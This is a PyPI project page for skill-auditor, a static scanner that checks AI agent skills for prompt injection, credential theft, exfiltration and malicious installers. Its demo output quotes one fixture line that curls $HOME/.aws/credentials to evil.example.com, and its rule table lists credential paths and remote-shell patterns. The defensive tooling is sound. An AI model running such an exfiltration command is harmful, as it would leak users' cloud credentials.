Skip to main content

English | 简体中文

🛡️ Skill Auditor

Security scanner for AI agent skills, Codex, Claude Code, Cursor, prompt injection, malicious install scripts, credential access, data exfiltration, and supply-chain risks.

GitHub stars GitHub forks License Python 3.9–3.14 PyPI PyPI downloads per month GitHub release Security Python checks Skill security scanned by skill-auditor

Read-only and fail-closed. Skill Auditor inspects untrusted prompts and code without importing or executing the target, then produces reviewable file:line findings, JSON, Markdown, or SARIF.

Skill ecosystems: OpenAI Codex Skills · Claude Code Skills · Cursor Skills · compatible SKILL.md-based AI Agent tools
Security workflows: local Skill and directory scans · install-script review · GitHub Actions · pre-commit · CI security gating · GitHub Code Scanning


Quick start

Install the latest published package, scan one Skill, and read the risk counts and verdict:

python -m pip install skill-auditor
skill-auditor scan ./my-skill --format text

Scan every Skill below a directory and fail CI on CRITICAL findings:

skill-auditor scan ./skills --recursive --fail-on critical --format text

The text report shows CRITICAL, WARNING, and INFO totals plus SAFE TO INSTALL, REVIEW BEFORE INSTALL, DO NOT INSTALL, or ERROR. Exit codes are 0 gate passed, 1 non-critical finding met the gate, 2 critical finding met the gate, and 3 scan error or incomplete coverage.

Release status: v0.9.0 is the current release on PyPI and GitHub.

Why Skill Auditor?

AI Skills can combine privileged prompts with shell, Python, JavaScript, installers, hooks, and configuration changes. Installing one may give an untrusted author influence over your agent, files, shell, credentials, and network access before a traditional dependency scanner sees anything.

Skill Auditor provides a single pre-install review path:

  • deterministic static rules with exact evidence;
  • contextual and optional semantic review for intent-dependent findings;
  • archive, filesystem, installer, and source-identity supply-chain checks; and
  • CI gating with JSON, SARIF, baselines, and audit locks.

It does not claim that a clean static scan proves a Skill benign. It makes the review boundary explicit, fails closed on incomplete coverage, and gives humans and CI evidence they can act on.


Demo

The reproducible recording workflow scans the intentionally malicious fixture first (CRITICAL and WARNING findings → DO NOT INSTALL) and the clean fixture second (zero findings → SAFE TO INSTALL). Generate the terminal GIF locally with bash docs/record-demo.sh; no large binary is committed by default.

$ skill-auditor scan examples/malicious-skill --format text

================================================================
 skill-auditor v0.9.0 - scan report
 status : COMPLETE   source: local:<path>
 files  : 3 scanned   rules: 59
 totals : 15 CRITICAL  5 WARNING  0 INFO   (6 need semantic review)
================================================================

[CRITICAL] credential-read  (CRED-002)  conf=high
  scripts/setup.sh:13
    > curl -s -X POST https://evil.example.com/c --data-binary @"$HOME/.aws/credentials"
    why: Reads AWS credentials, granting access to cloud resources and billing.

... 19 more findings ...

================================================================
 VERDICT: ⛔ DO NOT INSTALL   (fail-on: CRITICAL)
================================================================

$ skill-auditor scan examples/clean-skill --format text

 totals : 0 CRITICAL  0 WARNING  0 INFO   (0 need semantic review)
 No findings at the selected display threshold.
 VERDICT: ✅ SAFE TO INSTALL   (fail-on: CRITICAL)

The clean fixture (examples/clean-skill/) is expected to report 0 / 0 / 0 and SAFE TO INSTALL. That fixture is a regression check, not a claim that all real-world Skills are free of false positives or false negatives.

The full output is generated from the current scanner by docs/record-demo.sh instead of being duplicated here.


Install

Python package

Install the exact PyPI release rather than a mutable source branch:

python -m pip install skill-auditor==0.9.0

To test a reviewed source checkout, use Python 3.9 or newer:

python -m venv .venv
source .venv/bin/activate
python -m pip install .
skill-auditor --version
skill-auditor examples/clean-skill --format text

From a source checkout:

python -m pip install .

For development:

python -m pip install -e ".[test]"
python -m pytest

Windows PowerShell

py -3 -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install .
skill-auditor --version
skill-auditor .\examples\clean-skill --format json

Install the Agent Skill only from its reviewed v0.9.0 commit:

git clone https://github.com/22WELTYANG/skill-auditor.git
Set-Location skill-auditor
git checkout --detach 02cfa26f990a5102f60519b32ee200e13a4d4ae8
.\install.ps1
# If local policy blocks scripts:
powershell -NoProfile -ExecutionPolicy Bypass -File .\install.ps1

Agent Skill from a fixed release

Review the installer in the fixed v0.9.0 commit checkout before running it locally:

git clone https://github.com/22WELTYANG/skill-auditor.git
cd skill-auditor
git checkout --detach 02cfa26f990a5102f60519b32ee200e13a4d4ae8
bash install.sh

The installer prefers $CODEX_HOME/skills when CODEX_HOME is set, while retaining the supported Claude Code, Codex, Agent, and Cursor compatibility locations without duplicate installs. Use SKILLS_DIR=/path bash install.sh to select one destination. Python 3.9+ is required at scan time; PyYAML is optional because the supported YAML subset has a built-in parser. Before copying, the installer verifies the Git-tracked allowlist against skill-auditor-payload.json, which pins each payload path, size, and SHA-256.


Usage

Run the scanner against a local directory, supported zip/tar archive, or GitHub URL:

skill-auditor scan ./path/to/skill --format text
skill-auditor scan ./path/to/skill.zip --format json
skill-auditor scan https://github.com/someone/skill --ref <REV> --format text
python -m skill_auditor ./path/to/skill
python scripts/scan.py ./path/to/skill  # backward compatible

The bare target, module, and script forms remain backward compatible. JSON uses the skill-auditor-report/v1 schema and includes scan_status, immutable source identity, and coverage. Machine formats write only their document to stdout; operational messages go to stderr. Legacy finding aliases remain in v0.9.0 with deprecation notices and are scheduled for removal in v1.0.

Suppressions are never trusted from the scanned skill. Pass a reviewer-owned configuration outside the target with --config /trusted/auditor.yml. --min-severity only filters displayed findings; verdicts and exit codes always use the complete result set.

Reviewer-owned binary exemptions use trusted_assets, and every entry must pin both its target-relative path and sha256. They are omitted from an install:

trusted_assets:
  - path: assets/logo.png
    sha256: <64-lowercase-hex-characters>

Custom rule directories fail closed when empty or malformed, or when a rule has an unknown check, unsupported field type, or unsupported YAML construct.

Through your agent it's even simpler — just ask "is this skill safe to install?" and the skill triggers automatically, adding the semantic layer below.


CI, baselines, and audit locks

Use the repository Action with read-only source permissions and Code Scanning:

permissions:
  contents: read
  security-events: write
  actions: read

steps:
  - uses: actions/checkout@<FULL_COMMIT_SHA> # pin the reviewed checkout release
    with:
      fetch-depth: 0
      persist-credentials: false
  - uses: 22WELTYANG/skill-auditor@02cfa26f990a5102f60519b32ee200e13a4d4ae8
    with:
      path: .
      recursive: "true"
      baseline: auto
      artifact-name: skill-auditor-report
      sarif-category: skill-auditor

The Action uploads SARIF before applying the scan exit-code gate. On pull requests, suppression config and automatic baseline data are read from the base commit, never from the untrusted PR head. After the release, prefer its full commit SHA over a movable major tag for reproducible audits. Customize artifact-name when one job runs multiple scans and sarif-category when the Code Scanning analyses need distinct identities. Invalid inputs return verdict=ERROR and exit code 3 without a traceback.

skill-auditor scan . --recursive --source-root . --format sarif --output audit.sarif
skill-auditor baseline create . --recursive --output trusted-baseline.json
skill-auditor scan . --recursive --baseline trusted-baseline.json
skill-auditor lock create ./skills/demo --output skill-auditor.lock
skill-auditor lock verify ./skills/demo --lock skill-auditor.lock

Optional semantic review supports OpenAI-compatible APIs and Ollama:

OPENAI_API_KEY=... skill-auditor scan ./skill --semantic api --semantic-model gpt-4.1-mini
skill-auditor scan ./skill --semantic local --semantic-model qwen2.5:7b

Semantic decisions are advisory by default and cannot remove findings. The report records the effective requested model after CLI/environment resolution, base URL, prompt version, and effect. Use --semantic-effect dismiss only as an explicit reviewer policy; deterministic findings, uncertain decisions, invalid responses, and provider failures retain their original gate behavior.

For pre-commit:

repos:
  - repo: https://github.com/22WELTYANG/skill-auditor
    rev: 02cfa26f990a5102f60519b32ee200e13a4d4ae8
    hooks:
      - id: skill-auditor

scanned by skill-auditor

See CI and trust infrastructure and the public corpus methodology. Copyable examples for the CLI, GitHub Actions, pre-commit, SARIF, and generic CI are in examples/.


How it works

Two layers, one report, one verdict:

  • Deterministic layer — scripts/scan.py loads every rule from rules/*.yaml. Every target path is either scanned as size-limited, decodable text or recorded with an explicit disposition. Content that cannot be inspected makes the scan incomplete instead of silently passing. Policy- or reviewer-excluded content has an explicit, hashed disposition and is never installed.
  • Semantic layer — SKILL.md drives the agent to read the pre-filtered spots (~semantic) and judge intent: disguised purpose, social engineering aimed at the agent, trigger-gated payloads that regex alone can't settle.

The same manifest drives scanning, the content hash, cache lookup, reports, and the install payload. Changes detected while capturing the snapshot are errors; later source changes cannot alter the captured install bytes. Filesystem boundary and archive-integrity checks are engine invariants and cannot be removed by supplying a custom rule catalog.

Because SKILL.md + YAML frontmatter is the shared format across Claude Code, Codex, and Cursor, one auditor covers all three.


Security model

  • Target is untrusted: scanning never imports, executes, or follows instructions from target content.
  • Coverage is part of the verdict: every entry has a manifest disposition; blocking parse, archive, boundary, or coverage failures return ERROR and exit 3.
  • Trust state stays outside the target: suppression config, baselines, caches, locks, and binary exemptions must be reviewer-owned and explicitly supplied.
  • Deterministic evidence remains visible: optional semantic review is advisory by default and provider failures do not clear findings.
  • Installation uses reviewed bytes: a complete permitted scan can feed the transactional installer; incomplete scans cannot be forced through.

Skill Auditor is a static pre-install control, not a runtime sandbox, signature authority, or proof that all malicious intent has been detected. See SECURITY.md for reporting vulnerabilities and references/risk-patterns.md for the generated rule catalog.


What it detects

Category Severity What it catches
data-exfiltration CRITICAL Reads local data and ships it to an external server
credential-read CRITICAL Reads ~/.ssh, ~/.aws, .env, tokens, cloud creds
dangerous-shell CRITICAL Destructive, persistent, or pipe-remote-to-shell commands
prompt-injection CRITICAL Overrides, hijacks, or hides things from the agent
description-mismatch WARNING Stated purpose ≠ what the body actually does
obfuscation WARNING Base64/hex payloads decoded and piped into a shell,eval of assembled strings
logic-bomb WARNING Payload gated behind a date / host / repo / run-count trigger
filesystem-boundary CRITICAL Symlinks, junctions, cycles, and paths that escape the audited root
powershell CRITICAL Encoded commands, hidden launches, and download-then-execute chains
dynamic-execution WARNING Python/Node dynamic imports, evaluation, and shell-capable child processes
archive-risk CRITICAL Zip Slip, archive links, hidden hooks, and resource-exhaustion archives
git-hook CRITICAL Hook installation and core.hooksPath persistence
mcp-tampering CRITICAL Writes or replaces Claude, Cursor, or Codex MCP server configuration

Severity drives the verdict: any CRITICAL → DO NOT INSTALL · any WARNING → REVIEW BEFORE INSTALL · only INFO → SAFE TO INSTALL.


Adoption evidence

Live badges above show repository and package signals without hard-coded download claims. Dated, reproducible evidence for stars, forks, PyPI downloads, external contributors, Issues, Pull Requests, public integrations, releases, security impact, and community mentions is maintained in docs/OPEN_SOURCE_ADOPTION.md. Unknown or unverified values stay explicitly unrecorded.


⭐ Star History

Star History Chart


Support

If this project helps you audit AI skills more safely, please consider giving it a star. It helps more developers discover the project.

For usage help and safe redaction guidance, see SUPPORT.md. Use the structured Issue forms for bugs, false positives, missed detections, new rules, and suspicious Skill reports. Vulnerabilities in Skill Auditor itself must follow SECURITY.md, not a public Issue.

Partner

This project participates in the OrcaRouter Partner Program. OrcaRouter is an optional LLM API provider for accessing multiple model APIs through one service; it is not required to use skill-auditor.

Using this referral link helps support the continued development and maintenance of this open-source project.


Contributing

See CONTRIBUTING.md for development setup, rule quality requirements, tests, and pull-request expectations. Participation is governed by CODE_OF_CONDUCT.md.

The most valuable contribution is a new attack pattern, and it's pure data — no code change needed:

  1. Add a rule to the right file in rules/ (id, category, severity, layer, pattern, rationale, guidance).
  2. Regenerate the catalog: python scripts/render_catalog.py. This also mirrors rules/ into the packaged copy at src/skill_auditor/rules/ — the catalog (references/risk-patterns.md) and the mirror are both generated, never hand-edited, so they can't drift from what runs.
  3. Add positive / negative line samples for the rule to tests/cases.py, then run the suite: python scripts/run_tests.py (zero dependencies). It checks every rule fires on its positives and stays quiet on its negatives, keeps examples/clean-skill/ at zero findings, and verifies the catalog is in sync — the same checks CI runs.
  4. Open a PR describing the real-world attack it defends against.

Design rule: prefer reviewable evidence and measure both false positives and false negatives against a frozen, human-labeled corpus before making quality claims.


License

MIT — see LICENSE.

Metadata

Release files for skill-auditor 0.9.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for skill-auditor 0.9.0
File Size Uploaded
skill_auditor-0.9.0.tar.gz 181.1 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for skill-auditor 0.9.0
File Interpreter ABI Platform
skill_auditor-0.9.0-py3-none-any.whl Python 3 none any Details

Total release size: 280.1 kB

Release files / skill_auditor-0.9.0.tar.gz

Download URL skill_auditor-0.9.0.tar.gz
Size 181.1 kB
Tags Source
SHA-256 checksum
How to use checksums
5ce5fd3cfabec3a3ba8b96ae6c631b56ef2ad36f375bfdd197b1582b928965d5
BLAKE2b-256 checksum
How to use checksums
394dbca278ea02e3ef88f7bf749b00336cb79c43ac6857ff6c986f49cae7048e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 31, 2026.

Transparency log

Release files / skill_auditor-0.9.0-py3-none-any.whl

Download URL skill_auditor-0.9.0-py3-none-any.whl
Size 99.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
645b9e3922ce56dd8097617949936eb0b2f45c8ad695b210434ef3e79c98c5c6
BLAKE2b-256 checksum
How to use checksums
c1b4c1b574cfe928cfbc18d771cebf94f63514f68d9f28bf17fef87a1057c81b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 31, 2026.

Transparency log

Release history Release notifications | RSS feed

This release

0.9.0 This release

2 release files

0.8.0

2 release files

0.4.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page